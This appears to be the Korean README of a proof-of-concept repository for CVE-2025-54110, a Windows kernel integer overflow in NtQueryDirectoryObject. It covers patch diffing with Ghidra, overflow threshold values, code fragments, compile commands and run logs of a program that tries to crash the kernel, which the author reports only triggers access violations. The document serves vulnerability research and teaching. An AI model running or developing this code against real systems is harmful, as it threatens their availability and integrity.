
프로젝트 날짜 : 2025년 10월 / CVE-2025-54110의 PoC 구현 – Windows `NtQueryDirectoryObject` 시스템 호출의 커널 수준 정수 오버플로우 취약점.
Windows NtQueryDirectoryObject 시스템 호출의 커널 수준 정수 오버플로우 취약점인 CVE-2025-54110에 대한 PoC 구현입니다.
CVE: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110
이 저장소는 보안 연구, 리버스 엔지니어링 및 익스플로잇 개발 연구만을 위해 개발된 CVE-2025-54110 커널 EoP 취약점의 Crash-Only PoC를 포함합니다. 이 코드는 다음과 같은 취약점 연구 기술을 시연하기 위한 것입니다:
이 PoC는 권한 상승이나 안정적인 BSOD를 달성하지 않습니다. Windows 커널 보호에 의해 포착되는 접근 위반을 안전하게 트리거하도록 설계되었습니다.
공개일: 2025년 9월 (Windows 화요일 보안 패치)
| 속성 | 값 |
|---|
| CWE | CWE-190: 정수 오버플로우 또는 랩어라운드 |
| CVSS 3.1 점수 | 8.8 (높음) / 7.7 (임시) |
| 벡터 문자열 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C |
| 공격 벡터 | 로컬 |
| 공격 복잡성 | 낮음 |
| 필요 권한 | 낮음 |
| 사용자 상호작용 | 없음 |
| 범위 | 변경됨 |
| 기밀성 | 높음 |
| 무결성 | 높음 |
| 가용성 | 높음 |
| 익스플로잇 성숙도 | 입증되지 않음 |
Windows 커널의 정수 오버플로우 취약점으로 인해 인증된 공격자가 로컬에서 권한을 상승시킬 가능성이 있습니다. Microsoft의 권고에 따르면:
"공격자는 샌드박스 처리된 사용자 모드 프로세스에서 특수하게 조작된 입력을 전송하여 정수 오버플로우를 트리거하고, 이로 인해 커널에서 버퍼 오버플로우가 발생하여 권한 상승 또는 샌드박스 이스케이프가 가능해집니다."
Windows Update Files from Aug 2025 & Sep 2025 (KB.msu) ↓ Extract CAB Files ↓ Calculate SHA-256 Hashes (August vs September) ↓ Identify Changed Files ↓ Ghidra Version Tracking Analysis ↓ Setting Symbol Servers to Clarify Function Names ↓ Function-Level Diff Comparison
### 2. 분석된 파일
초기 분석은 두 가지 주요 커널 구성 요소에 초점을 맞췄습니다:
#### win32k.sys (-)
- **결과:** 중요한 변경 사항 감지되지 않음
- **점수 범위:** 0.97-1.0 (높은 유사도)
- **결론:** CVE-2025-54110의 취약한 구성 요소가 아님
#### ntoskrnl.exe (+)
- **결과:** 여러 함수에서 중요한 변경 사항 발견
- **점수 범위:** 점수가 ≤0.951인 함수
- **길이 차이:** 소스 대 대상 바이트 길이 변동 감지됨
- **내보낸 총 항목:** 분석을 위한 2,036개의 함수
### 3. Ghidra 버전 추적 결과
`ntoskrnl.exe`에서 식별된 변경 사항 샘플:
| 점수 | 신뢰도 | 소스 길이 | 대상 길이 | 소스 함수 | 대상 함수 |
|-------|------------|---------------|-------------|-----------------|---------------|
| 0.951 | 2.618 | 1023 | 365 | FUN_1403146d0 | FUN_1403a4ea0 |
| 0.950 | 2.285 | 113 | 203 | FUN_140680810 | FUN_1406d952c |
| 0.950 | 3.137 | 782 | 1050 | FUN_14032106c | FUN_140303a38 |
| 0.951 | 2.675 | 141 | 171 | FUN_140407bd0 | FUN_140a172a0 |
| 0.951 | 2.660 | 346 | 150 | FUN_140610e60 | FUN_1406115d4 |
---
## PoC 설명
### 기술적 접근 방식
PoC (`precise_overflow_bsod.c`)는 다음을 통해 정수 오버플로 취약점을 트리거하려고 시도합니다:
1. **정밀 임계값 계산:** `0xfffffdbc` (base=0x20, name=0x200에서 파생됨)
2. **NtQueryDirectoryObject API:** 오버플로 트리거를 위한 대상 함수
3. **다단계 공격 전략:**
- 1단계: 정밀 정수 오버플로 시도
- 2단계: 커널 메모리 대상 지정
- 3단계: 다중 스레드 악용
### 코드 구조```c
// Key threshold values calculated for overflow
ULONG precise_thresholds[] = {
0xfffffdbc, // Precise threshold - base=0x20, name=0x200
0xfffffdbb, // Threshold - 1
0xfffffdbd, // Threshold + 1
0xfffffdba, // Threshold - 2
0xfffffdbe, // Threshold + 2
};
// Buffer configurations to test edge cases
PVOID buffer_types[] = {
VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE), // Normal buffer
VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE), // Small buffer
NULL, // NULL pointer
(PVOID)0x4141414141414141, // Invalid pointer
(PVOID)0x0000000000000000, // Zero address
};
NtQueryDirectoryObject() Parameters: ├── DirectoryHandle: \BaseNamedObjects, \KernelObjects, etc. ├── Buffer: Various pointer configurations ├── BufferLength: Calculated overflow thresholds (0xfffffdbc variants) ├── ReturnSingleEntry: TRUE/FALSE variations ├── RestartScan: TRUE/FALSE variations └── Context: Controlled iteration state
## PoC가 시스템을 충돌시키지 않는 이유
### 실제 결과
PoC는 블루스크린(BSOD)을 유발하지 않고 일관되게 `STATUS_ACCESS_VIOLATION (0xC0000005)`을 반환합니다. 이는 **의도된** 것이며, 몇 가지 중요한 Windows 커널 보안 메커니즘을 보여줍니다:
### 1. 구조적 예외 처리 (SEH)```
User-Mode Input → NtQueryDirectoryObject
↓
ProbeForRead/Write
↓
__try { ... }
↓
Access Violation Detected
↓
__except { ... }
↓
Return STATUS_ACCESS_VIOLATION
작동 원리:
커널 모드(Ring 0)가 명시적 권한 없이 사용자 모드(Ring 3) 메모리에 접근하는 것을 방지하는 최신 CPU 기능:``` Kernel attempts to access user pointer ↓ SMAP checks permission (STAC/CLAC instructions) ↓ Unauthorized access detected ↓ CPU generates #PF (Page Fault) ↓ Caught by kernel exception handler
**Impact on PoC:**
- 오버플로가 발생하더라도, 커널에서 사용자 메모리로의 직접 접근이 차단됩니다.
- 포인터 역참조 취약점의 악용을 방지합니다.
### 3. KASLR (커널 주소 공간 레이아웃 무작위화)```
Boot Time: Kernel Base = Random Address
↓
Hardcoded PoC address (0xfffffdbc)
↓
Does NOT match actual kernel structures
↓
Write to non-critical memory OR caught by SEH
BSOD가 발생하지 않는 이유:
Windows 10+는 향상된 풀 손상 감지를 구현함:``` Heap/Pool Allocation ↓ Header Contains: ├── Magic Values ├── Size Information └── Checksums ↓ On Free/Access: Validate Integrity ↓ Corruption Detected? ↓ [YES] → Safe Exception → Return Error [NO] → Proceed Normally
---
## PoC 실행 출력 분석
### 예상 출력
`STATUS_ACCESS_VIOLATION (0xC0000005)`가 표시되면 정상입니다.```
C:\Users\reLab\Desktop\cve>.\poc64.exe
==================================================
CVE-2025-54110 - Kernel Integer Overflow PoC
==================================================
[!] WARNING: This code may crash the system (BSOD).
[?] Do you want to continue? (y/n): y
[>] Targeting directory: \BaseNamedObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \KernelObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \Sessions
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \Windows
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[-] Exploit finished. If the system is still running, the attack may have been mitigated.
C:\Users\reLab\Desktop\cve>

[+] Current user: desktop-lfkkhu2\relab [+] Current PID: 1444
[!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [+] NT functions initialized successfully [+] Using precise threshold: 0xfffffdbc
[+] Exploiting all directories with precise threshold...
[+] Precision exploiting: \BaseNamedObjects [] Phase 1: Precision overflow [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [] Phase 2: Kernel memory targeting [+] Targeting kernel memory with precise threshold... [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [*] Phase 3: Multi-threaded BSOD [+] Triggering precision BSOD with calculated threshold... [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision overflow successful! [+] Starting multi-threaded precision attack...
### 관찰된 동작```
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBB, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBD, status=0xC0000005
상태 코드: 0xC0000005 = STATUS_ACCESS_VIOLATION
| 측면 | 해석 |
|---|---|
| 취약점 확인 | (+) 코드 경로가 취약 함수에 도달함 |
| 입력 검증 | (!) 조작된 입력이 비정상 동작을 유발함 |
| 시스템 안정성 | (+) SEH가 충돌을 방지하여 시스템이 안정적으로 유지됨 |
| DoS 달성 | (-) BSOD 없음; 예외 처리 성공 |
| 권한 상승 달성 | (-) 권한 상승 없음; 제어된 실패 |
┌─────────────────────────────────────────────────────────┐ │ Objective │ Status │ Explanation │ ├─────────────────────────────────────────────────────────┤ │ Vulnerability Research │ + │ Behavior change │ │ │ │ confirmed │ ├─────────────────────────────────────────────────────────┤ │ Learning Experience │ + │ Kernel protections │ │ │ │ demonstrated │ ├─────────────────────────────────────────────────────────┤ │ Crash (DoS/BSOD) │ - │ SEH prevented crash │ ├─────────────────────────────────────────────────────────┤ │ Privilege Escalation │ - │ No code execution │ │ │ │ achieved │ └─────────────────────────────────────────────────────────┘
---
## 교육적 가치
### 이 PoC가 보여주는 것
#### 결과
1. **패치 디핑 방법론**
- Ghidra를 사용한 패치 전/후 바이너리 비교
- 버전 추적을 통한 수정된 함수 식별
- 점수 기반 유사성 메트릭 분석
2. **Windows 커널 아키텍처**
- 시스템 콜 흐름 이해 (`NtQueryDirectoryObject`)
- 커널/사용자 모드 경계 인식
- NTAPI 내부 함수 학습
3. **보안 메커니즘 동작**
- SEH 작동: 예외 처리 성공 vs. 시스템 충돌
- SMAP이 승인되지 않은 메모리 접근 차단
- KASLR이 정적 주소 익스플로잇 무력화
4. **취약점 연구 과정**
- CVE 분석 및 정보 수집
- 바이너리 변경 사항 리버스 엔지니어링
- 통제된 익스플로잇 시도를 통한 가설 검증
#### 한계
1. **최신 커널 보호 기능은 효과적임**
- 단순한 오버플로 시도만으로는 부족함
- 여러 방어 계층을 우회해야 함
- 정적 분석만으로 익스플로잇 가능성을 예측할 수 없음
2. **이론과 실제의 괴리**
- 정수 오버플로는 존재함 (이론적)
- 실제 익스플로잇에는 다음이 필요:
- 정보 유출 (커널 주소 누출)
- 힙 조작/Feng Shui
- ROP 체인 또는 기타 코드 실행 프리미티브
- DEP, CFG, HVCI 등 우회
---
## 분석 우선순위 함수
CVE-2025-54110 특성 (정수 오버플로 → 커널 버퍼 오버플로)에 따라, 내보낸 CSV에서 다음을 처리하는 함수를 우선 검토하십시오:
### 높은 우선순위 범주```yaml
Integer/Size Calculations:
- Functions with arithmetic operations on buffer sizes
- Length calculation before allocation
- Checked vs. unchecked math operations
Buffer/Memory Operations:
- memcpy, memmove, RtlCopyMemory variants
- ExAllocatePool* family
- Buffer size validation routines
Object Directory Handling:
- NtQueryDirectoryObject and related helpers
- ObpLookupDirectoryEntry
- Object enumeration functions
User-Mode Interface:
- ProbeForRead/Write wrappers
- Input validation functions
- IOCTL handlers
1단계: 점수 기반 필터``` Score ≤ 0.951 AND (SourceLen ≠ DestLen)
**단계 2: 키워드 검색**```
Function names containing:
- "Directory", "Object", "Query"
- "Buffer", "Length", "Size"
- "Allocate", "Copy", "Validate"
- "Integer", "Overflow", "Wrap"
3단계: 상호 참조 분석``` Functions called by NtQueryDirectoryObject: ObQueryNameString ObpEnumerateDirectory [Related helper functions]
**4단계: 크기 변경**```
Prioritize functions with:
- Length difference > 100 bytes
- Confidence score 2.0-3.5 (moderate changes)
### 컴파일```bash
# on x64 Native Tools CLI for VS 20xx
# Using Visual Studio
cl.exe /Fe:poc64.exe precise_overflow_bsod.c ntdll.lib
# or
cl poc.c /link /SUBSYSTEM:CONSOLE
``````bash
# Using MinGW
gcc precise_overflow_bsod.c -o poc64.exe -lntdll
.\poc64.exe
**예상 출력:**```
[+] Current user: DESKTOP-XXXXXXX\user
[+] Current PID: 1234
[!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD!
[!] Continue? (y/n): y
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[+] System is still running - protections may be active.
본 코드는 교육 목적으로만 제공됩니다.
다음 용도로 이 코드를 사용하지 마십시오:
• 컴퓨터 시스템에 대한 무단 접근
• 악의적인 공격 또는 손상
• 모든 불법 활동
저자는 오용에 대해 책임을 지지 않습니다. 사용자는 모든 관련 법률을 준수해야 합니다.
이 코드를 사용함으로써 귀하는 다음을 인정하는 것입니다:
이 저장소는 통제된 실험실 환경에서 교육, 방어적 보안 연구 및 취약점 재현 목적으로만 엄격하게 제공됩니다. 정보 및 개념 증명 코드는 보고된 취약점을 방어자, 연구자 및 공급업체가 이해하고 해결하는 데 도움을 주기 위한 것입니다. 명시적 허가 없이 시스템에 대해 이 코드를 무단 또는 악의적으로 사용하는 것은 관련 법률 및 규정을 위반할 수 있습니다. 저자는 불법 활동을 장려하거나 용납하지 않으며, 이 자료로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
이 취약점 공개 보고서는 다음을 위해 제공됩니다:
금지된 용도:
연구자는 통제된 환경에서 개인 소유 시스템에서 모든 테스트를 수행했습니다. 제3자 시스템에 대한 무단 접근은 수행되지 않았습니다.
보고서 버전: 1.0
마지막 업데이트: 2026년 2월 9일
합법적인 보안 연구 문의 또는 교육 협력을 위해:
책임 있는 공개:
MIT License - See LICENSE file for details
Educational software provided "as is" without warranty. Use at your own risk.